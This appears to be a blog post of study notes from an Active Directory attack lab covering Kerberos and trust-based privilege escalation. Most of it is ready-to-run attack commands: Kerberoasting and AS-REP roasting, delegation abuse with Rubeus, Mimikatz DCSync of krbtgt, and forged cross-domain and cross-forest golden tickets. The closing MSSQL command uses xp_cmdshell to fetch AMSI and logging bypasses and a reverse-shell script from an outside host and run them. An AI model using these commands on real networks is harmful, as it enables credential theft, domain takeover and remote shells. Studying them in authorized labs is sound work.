Return to Base
2024-06-11 Active Directory, Privilege Escalation, Theory

Domain Privilege Escalation: Deep Dive into Kerberos & Trusts

Kerberosting - (3 types | classic is most effective)

We will use only those user accounts that are used to run services.

NOTE –> [users whose SPN is not $null is treated as a service account by the KDC] It doesn’t matter if there is a service running or not, you can ask for a service ticket for those accounts.

Find user accounts used as Service accounts -

Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

Get-DomainUser -SPN

Rubeus.exe kerberoast /stats

Rubeus.exe kerberoast /user:svcadmin /simple

Rubeus.exe kerberoast /stats /rc4opsec
Rubeus.exe kerberoast /user:svcadmin /simple /rc4opsec /outfile:hashes.txt

Rubeus.exe kerberoast /rc4opsec /outfile:hashes.txt

john.exe --wordlist=C:\AD\Tools\kerberoast\10kworst-pass.txt C:\AD\Tools\hashes.txt

Targeted Kerberoasting - AS-REPs

image

Example

# PowerView
Get-DomainUser -PreauthNotRequired -Verbose

# AD module
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth

Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}

Set-DomainObject -Identity Control1User -XOR @{useraccountcontrol=4194304} -Verbose

Get-DomainUser -PreauthNotRequired -Verbose

.\Rubeus.exe asreproast /user:mmorgan /nowrap /format:hashcat

/nowrap flag so the ticket is not column wrapped and is retrieved in a format that we can readily feed into Hashcat. We can then crack the hash offline using Hashcat with mode 18200.

. C:\AD\Tools\ASREPRoast-master\ASREPRoast-master\ASREPRoast

Get-ASREPHash -UserName VPN1user -Verbose

Invoke-ASREPRoast -Verbose

john.exe --wordlist=C:\AD\Tools\kerberoast\10k-worst-
pass.txt C:\AD\Tools\asrephashes.txt

Targeted Kerberoasting - Set SPN

Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}

# Powerview
Get-DomainUser -Identity supportuser | select serviceprincipalname

# AD module
Get-ADUser -Identity supportuser -Properties ServicePrincipalName | select ServicePrincipalName

# Powerview
Set-DomainObject -Identity support1user -Set @{serviceprincipalname=‘dcorp/whatever1'}

# AD module
Set-ADUser -Identity support1user -ServicePrincipalNames
@{Add=‘dcorp/whatever1'}

Rubeus.exe kerberoast /outfile:targetedhashes.txt 
john.exe --wordlist=C:\AD\Tools\kerberoast\10k-worst-pass.txt C:\AD\Tools\targetedhashes.txt

Kerberos Delegation

image

Process

Unconstrained Delegation

#powerview 
Get-DomainComputer -UnConstrained

#ActiveDirectory 
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
Get-ADUser -Filter {TrustedForDelegation -eq $True}

Unconstrained Delegation - Printer Bug

Rubeus.exe monitor /interval:5 /nowrap

MS-RPRN.exe \\dcorp-dc.dollarcorp.moneycorp.local \\dcorp-appsrv.dollarcorp.moneycorp.local

Rubeus.exe ptt /tikcet:

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

Constrained Delegation using Rubeus

#PowerView
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth

#ActiveDirectory module
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo

Rubeus.exe s4u /user:websvc /aes256:2d84a12f614ccbf3d716b8339cbbe1a650e5fb352edc8e879470ade07e5412d7 /impersonateuser:Administrator /msdsspn:CIFS/dcorp-mssql.dollarcorp.moneycorp.LOCAL /ptt

ls \\dcorp-mssql.dollarcorp.moneycorp.local\c$

Either plaintext password or NTLM hash is required. If we have access to dcorp-adminsrv hash

Rubeus.exe s4u /user:dcorp-adminsrv$ /aes256:db7bd8e34fada016eb0e292816040a1bf4eeb25cd3843e041d0278d30dc1b445 /impersonateuser:Administrator /msdsspn:time/dcorp-dc.dollarcorp.moneycorp.LOCAL /altservice:ldap /ptt

C:\AD\Tools\SafetyKatz.exe "lsadump::dcsync /user:dcorp\krbtgt" "exit"

Resource based Constrained Delegation

To abuse RBCD in the most effective form, we just need two privileges.

  1. Write permissions over the target service or object to configure msDSAllowedToActOnBehalfOfOtherIdentity.

  2. Control over an object which has SPN configured (like admin access to a domain joined machine or ability to join a machine to domain - ms-DSMachineAccountQuota is 10 for all domain users)

Enumeration would show that the user ‘ciadmin’ has Write permissions over the dcorp-mgmt machine!

Find-InterestingDomainACL | ?{$_.identityreferencename -match 'ciadmin'}

configure RBCD on dcorp-mgmt for student machines. Use them from CIADMIN because it has write permission in lab

#ActiveDirectory module
$comps = 'dcorp-student1$','dcorp-student2$'
Set-ADComputer -Identity dcorp-mgmt -PrincipalsAllowedToDelegateToAccount $comps

#PowerView
Set-DomainRBCD -Identity dcorp-mgmt -DelegateFrom 'dcorp-student204$' 
Get-DomainRBCD

Now, let’s get the privileges of dcorp-studentx$ by extracting its AES keys

Invoke-Mimikatz -Command '"sekurlsa::ekeys"'  Use SafetyKatz from Extract credentials

Use the AES key of dcorp-studentx$ (check your hostname and replace it with the user here) with Rubeus and access dcorpmgmt as ANY user we want

Rubeus.exe s4u /user:dcorp-student1$ /aes256:d1027fbaf7faad598aaeff08989387592c0d8e0201ba453d83b9e6b7fc7897c2 /msdsspn:http/dcorp-mgmt /impersonateuser:administrator /ptt

winrs -r:dcorp-mgmt cmd.exe

BONUS! –> Well known SID for System account - S-1-5-18 (remember)

Child to Parent using Trust Tickets (Across Domain)

So, what is required to forge trust tickets is, obviously, the trust key. Look for [In] trust key from child to parent.

Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dcorp-dc
or
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\mcorp$"'
or
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'

We can forge and inter-realm TGT

C:\AD\Tools\old_tools\BetterSafetyKatz.exe "kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-719815819-3726368948-3917688648 /sids:S-1-5-21-335606122-960912869-3279953914-519 /rc4:e9ab2e57f6397c19b62476e98e9521ac /service:krbtgt /target:moneycorp.local /ticket:C:\AD\Tools\trust_tkt.kirbi" "exit"

image

Abuse with Rubeus-

Rubeus.exe asktgs /ticket:C:\AD\Tools\kekeo_old\trust_tkt.kirbi /service:cifs/mcorp-dc.moneycorp.local /dc:mcorp-dc.moneycorp.local /ptt

ls \\mcorp-dc.moneycorp.local\c$

[!NOTE]

BONUS! wmi command example –> gwmi -Class win32_operatingsystem -ComputerName mcorp-dc

Across Forest using Trust Tickets

Invoke-Mimikatz -Command '"lsadump::trust /patch"' 
OR
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'

 c:\ad\tools\old_tools\BetterSafetyKatz.exe "kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-719815819-3726368948-3917688648 /sids:S-1-5-21-335606122-960912869-3279953914-519 /target:eurocorp.local  /rc4:45557d47079dfc365db9fe4ac7fc2486 /ticket:C:\AD\Tools\trust_forest_tkt.kirbi" "exit"

 c:\AD\Tools\Rubeus.exe asktgs /service:cifs/eurocorp-dc.eurocorp.local /dc:eurocorp-dc.eurocorp.LOCAL /ptt /ticket:C:\AD\Tools\trust_forest_tkt.kirbi

net view \\eurocorp-dc.eurocorp.local\

 dir \\eurocorp-dc.eurocorp.local\SharedwithDCorp\

 type \\eurocorp-dc.eurocorp.local\SharedwithDCorp\secret.txt - To open file in                                                                    eurocorp

MSSQL Servers

Import-Module C:\AD\Tools\PowerUpSQL-master\PowerupSQL.psd1

Examples

Get-SQLInstanceDomain

Get-SQLConnectionTestThreaded

Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose

Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

[!NOTE]

After running the above command and you see that the ISSysadmin option is set to No, as an attacker, you shouldn’t loose interest because we can still extract information

MSSQL Servers - Database Links

Examples

Get-SQLServerLink -Instance dcorp-mssql -Verbose
OR
select * from master..sysservers

[!NOTE]

Data is accessible via the DCORP-SQL1 link, this is what we want

Get-SQLServerLinkCrawl -Instance dcorp-mssql -Verbose

Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query "exec master..xp_cmdshell 'whoami'" -QueryTarget eu-sql

Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query 'exec master..xp_cmdshell ''powershell -c "iex (iwr -UseBasicParsing http://172.16.100.1/sbloggingbypass.txt);iex (iwr -UseBasicParsing http://172.16.100.1/amsibypass.txt);iex (iwr -UseBasicParsing http://172.1 6.100.1/Invoke-PowerShellTcpEx.ps1)"''' -QueryTarget eu-sql

[!NOTE]

Make sure to start your HTTP File Server (HFS) first and upload the file sbloggingbypass.txt, amsibypass.txt and Invoke-PowerShellTcpEx.ps1 in other to host them```

END OF LOG

SYSTEM STATUS: ONLINE // COPYRIGHT 2026 LVB